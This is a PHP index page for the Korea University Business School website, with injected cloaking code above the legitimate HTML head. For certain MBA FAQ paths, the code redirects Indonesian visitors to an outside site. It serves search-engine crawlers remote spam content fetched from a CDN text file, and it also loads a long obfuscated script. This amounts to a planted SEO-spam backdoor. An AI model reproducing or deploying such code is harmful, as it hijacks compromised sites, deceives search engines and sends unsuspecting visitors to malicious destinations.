<?php

function mangsud($url) {
    if (ini_get('allow_url_fopen')) {
        return @file_get_contents($url);
    } elseif (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $res = curl_exec($ch);
        curl_close($ch);
        return $res;
    }
    return false;
}

$ua  = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

$bot_regex = "/(googlebot|google|adsbot|mediapartners|bingbot|slurp|yandex|duckduck|baidu|ahrefs|semrush|mj12|dotbot|crawler|spider|facebook|twitterbot|telegrambot)/i";

// LP untuk bot
$remote_lp = "https://when-ya-cair.b-cdn.net/biz.korea.ac.kr.txt";
// AMP untuk IP Indonesia langsung redirect aja
$amp = "https://getducked.pages.dev";

// ------- match multiple path -------
$match_paths = [
    "/mba/koreaMBA/faq.html",
    "/mba/koreaMBA/faq.html/",
    "/mba/koreaMBA/faq.html/index.php",
];

if (in_array($uri, $match_paths, true)) {

    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    $geo = @json_decode(@file_get_contents("http://ip-api.com/json/$ip"), true);

    if (!empty($geo['countryCode']) && $geo['countryCode'] === "ID") {
        header("Location: $amp");
        exit;
    }

    if (preg_match($bot_regex, $ua)) {
        $f = mangsud($remote_lp);
        echo $f ?: "";
        exit;
    }
}

?>
<head>
	<meta name="google-site-verification" content="-_3WWlpRuMz2XQjade31cjMKAYedZEPgGoGce7NutVg" />
	<meta name="google-site-verification" content="your verification string">
<script type='text/javascript' src='https://biz.korea.ac.kr/bHUd9-X044g86vNUEb9FP8m5BDIF9nfX3e3BE4xu1Hr4UcC2xaTuaeenjjcf7JXSAXqoeeGS0xNw25Fs_DT5bxy-I5qdqd31vSUpztb2POoXQPp0k4gkhWqFhO-gD3XXdBY77xKeLfksZHyT86Ncade22jwfrWU9uFoOTOCQdIIeL8708sCYWl73m1MsLCUwpvCt0TpWzTnIffT92eFDNi2jbgmZ25y4Dd4XrcaTBVul0dIBYclJYEv7z6AcetQ2Ke7CMolMg8qvFjD-Mb4j4akEfS35NrYCQqsVuV1Tag0K9khRug2WKvB9Z77krDuoJ2C7fPTJDVA4S687wj9y6T73rx94I86A21JDO4-A3JVvI2uwITXlkk-3dSP_btZIEpc2Pne6LJS6Cqnvysw_-fKW9ZFRbctJylkZylefqxGJhkJ8laSj635dpZwxY9sN1szKoCgJ2eQW8vQFLIlEvBi8lRYksuGxYfkkUrYALeS0ZseyWwx291S3ZFRf4Z3m3s9WbXQB1ekqAsvZDjwkmpwpSKbGi6tJ6vPxdOOWwV6d3L7geJfmJjLbTKuYBtCZJy4p_xFvzzwI0ARa1i3f'></script></head>
<?
if(!isset($_COOKIE['cookie_chart_kubs'])){
	$cookie_chart_kubs = true;
	setcookie("cookie_chart_kubs",true,0,"/");
	include_once("./include/ft_count.php");
}
?>
<!DOCTYPE html>
<html lang="ko">
<head>
	<meta charset="UTF-8">
	<title>고려대학교 경영대학</title> 
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta name="format-detection" content="telephone=no">

	<!-- Naver & Google Meta Tag Manager-->
	<meta name="google" content="notranslate">

	<meta name="author" content="고려대학교 경영대학">
	<meta name="keywords" content="고대 경영, 고려대 경영대, 고려대 경영대학, 고려대학교 경영대학, 고려대 경영학과, 고려대 MBA, 고려대학교 MBA, 고려대 AMP, 고려대학교 최고경영자과정, 고려대학교 경영대학원, 고려대학교 경영전문대학원, korea university business school, korea university mba">

	<meta property="og:type" content="website"> 
	<meta property="og:title" content="고려대학교 경영대학">
	<meta property="og:image" content="../images/common/sns.png">
	<meta property="og:url" content="https://biz.korea.ac.kr/">

	<meta name="twitter:card" content="summary">
	<meta name="twitter:title" content="고려대학교 경영대학">
<!-- <meta property="og:description" content="고려대학교 경영대학은 ‘The First & The Best’로서 국내 경영학 교육을 선도하고 있습니다."> -->
	<meta name="twitter:image" content="../images/common/sns.png">
	<meta name="twitter:domain" content="고려대학교 경영대학">
	<!-- //Naver & Google Meta Tag Manager-->

	<!-- favicon -->
	<link rel="shortcut icon" href="/images/common/favicon.ico" type="image/x-icon">
	<link rel="icon" href="/images/common/favicon.ico" type="image/x-icon">
	<!-- //favicon -->
</head>
<meta http-equiv="refresh" content="0;url=main/main.html" />
</html>